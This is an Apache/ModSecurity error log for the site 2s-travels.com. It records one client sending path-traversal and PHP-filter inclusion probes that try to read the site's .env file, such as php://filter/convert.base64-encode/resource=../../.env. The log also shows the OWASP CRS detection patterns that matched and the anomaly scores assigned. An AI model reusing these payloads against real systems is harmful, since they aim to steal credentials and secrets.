[Fri Jul 17 08:55:12.319245 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEkXT4NBqALj2lZ8kAAAABA"]
[Fri Jul 17 08:55:12.319916 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PQAAABw"]
[Fri Jul 17 08:55:12.320062 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.320218 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.320251 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.320682 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.320685 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIZvbo7N5o5zeYC-PQAAABw"]
[Fri Jul 17 08:55:12.325333 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=EY7myZbOm4OVSm4EiWg07hohVSVf2plJ4ZyE67GwOB6ExXalODn_t_kcuRQ9B3NEfG-bfKCuolguaakur8dPWeuC05VkAO3OwxGov02Un9Kh2D3YUwNBe66SgePTCcn1N7OtSyXLiBS30ZpVjK-wot_BfrMHMl75PiQnkW7oeh7Mb0Q7xxZX-uqxwvX9ZydRQ-tG6HCxtUJZbJN237oxclXu9-a_K7tcwrktHrvFDIJEHJtCMRTu3veIGbWUk9VIlEQS8DReuSAvuGtiVa8u9eWa&ts=YTBM55OBVSSCDNQ4AESYVXD6DJ62XKYOYSZHZDASVE65NSQ2VGVOG4OWXA4H4S6ZZE3TNL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.325436 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.325515 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&sid=EY7myZbOm4OVSm4EiWg07hohVSVf2plJ4ZyE67GwOB6ExXalODn_t_kcuRQ9B3NEfG-bfKCuolguaakur8dPWeuC05VkAO3OwxGov02Un9Kh2D3YUwNBe66SgePTCcn1N7OtSyXLiBS30ZpVjK-wot_BfrMHMl75PiQnkW7oeh7Mb0Q7xxZX-uqxwvX9ZydRQ-tG6HCxtUJZbJN237oxclXu9-a_K7tcwrktHrvFDIJEHJtCMRTu3veIGbWUk9VIlEQS8DReuSAvuGtiVa8u9eWa&ts=YTBM55OBVSSCDNQ4AESYVXD6DJ62XKYOYSZHZDASVE65NSQ2VGVOG4OWXA4H4S6ZZE3TNLR4Q6SVKEJOTWMWNNQVZKZPGVF3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.325570 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&sid=ey7myzbom4ovsm4eiwg07hohvsvf2plj4zye67gwob6exxalodn_t_kcurq9b3nefg-bfkcuolguaakur8dpweuc05vkao3owxgov02un9kh2d3yuwnbe66sgeptccn1n7otsyxlibs30zpvjk-wot_bfrmhml75piqnkw7oeh7mb0q7xxzx-uqxwvx9zydrq-tg6hcxtujzbjn237oxclxu9-a_k7tcwrkthrvfdijehjtcmrtu3veigbwuk9vileqs8dreusavugtiva8u9ewa&ts=ytbm55obvsscdnq4aesyvxd6dj62xkyoyszhzdasve65nsq2vgvog4owxa4h4s6zze3tnlr4q6svkejotwmwnnqvzkzpgvf3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.325659 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.325712 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.326254 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.327883 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.328095 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.328566 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmOYpb_TFRze2EO3zXgAAAAE"]
[Fri Jul 17 08:55:12.328949 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=_ep4m0fbctvTXSp1mUKkxQFFGV9Ru5ERAIGIiwhJL-NA9i0cyPelcPSgXKk2VCdRnB3DF_t34qqu3A4qSX1EGZpEHRVlXsuzGFQBBCP4GYTmGiN3zxIHlm2T9IF12mca3nM9Ppk9QWit2BjQsiczzlOLMW0GFlsrRBdji7w7EEN6CU4v2oixZNrRFr-3seL7n1nAZHs-um_o-MJnZIIJ0KfMbLgI65ku_xloLtacL88pEFbIBse2GduForZjgJCVGD3KpYLGi5Ev5ITlenl4y4h4&token=5RZSPGT2QBTH2QV32XVSAPYIB3Q3TK22AZAW4SGIGQQEBCQWJGOWXI5IGJZO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.329028 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.329159 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&extra=_ep4m0fbctvTXSp1mUKkxQFFGV9Ru5ERAIGIiwhJL-NA9i0cyPelcPSgXKk2VCdRnB3DF_t34qqu3A4qSX1EGZpEHRVlXsuzGFQBBCP4GYTmGiN3zxIHlm2T9IF12mca3nM9Ppk9QWit2BjQsiczzlOLMW0GFlsrRBdji7w7EEN6CU4v2oixZNrRFr-3seL7n1nAZHs-um_o-MJnZIIJ0KfMbLgI65ku_xloLtacL88pEFbIBse2GduForZjgJCVGD3KpYLGi5Ev5ITlenl4y4h4&token=5RZSPGT2QBTH2QV32XVSAPYIB3Q3TK22AZAW4SGIGQQEBCQWJGOWXI5IGJZOZHZJZ3LQ3J5UWACQBDEQZPM4KRHR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.329229 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&extra=_ep4m0fbctvtxsp1mukkxqffgv9ru5eraigiiwhjl-na9i0cypelcpsgxkk2vcdrnb3df_t34qqu3a4qsx1egzpehrvlxsuzgfqbbcp4gytmgin3zxihlm2t9if12mca3nm9ppk9qwit2bjqsiczzlolmw0gflsrrbdji7w7een6cu4v2oixznrrfr-3sel7n1nazhs-um_o-mjnziij0kfmblgi65ku_xloltacl88pefbibse2gduforzjgjcvgd3kpylgi5ev5itlenl4y4h4&token=5rzspgt2qbth2qv32xvsapyib3q3tk22azaw4sgigqqebcqwjgowxi5igjzozhzjz3lq3j5uwacqbdeqzpm4krhr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.329291 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.329340 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.329865 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.331495 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.331717 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.333726 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sLAAAABQ"]
[Fri Jul 17 08:55:12.344851 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlPgAAAA0"]
[Fri Jul 17 08:55:12.345912 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlPgAAAA0"]
[Fri Jul 17 08:55:12.346065 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.346373 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmCvekYYQ8uns4MwlPgAAAA0"]
